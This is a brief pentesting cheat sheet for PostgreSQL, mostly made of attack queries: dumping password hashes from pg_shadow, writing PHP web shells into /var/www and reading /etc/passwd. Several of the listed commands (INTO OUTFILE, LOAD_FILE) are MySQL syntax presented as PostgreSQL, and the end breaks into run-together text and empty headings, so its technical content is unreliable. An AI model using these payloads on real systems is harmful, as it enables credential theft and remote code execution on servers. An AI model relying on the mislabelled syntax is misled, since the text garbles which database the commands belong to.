Postgresql
Basic commands
# Access to postgresql database
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h 192.168.80.47 -p 5437 -U postgres -W
# List the database
> \list
# Connect to the database
> \c <database name>
# List the tables
> \d
# Get user role
> \du+
# Enumerate the version number
> SELECT version();
# Read credentials
SELECT usename, passwd from pg_shadow;
# Dump a file
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'
# Dump a PHP shell
SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'
# Dump a PHP shell (2)
SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php'
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
# Read file
SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
SELECT load_file("/etc/passwd") from information_schemaCreate a user
RCE
SMB Relay
Privilege Escalation
For more commands, check out the following site.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-postgresql
https://sqlwiki.netspi.com/attackQueries/informationGathering/#postgresql
Last updated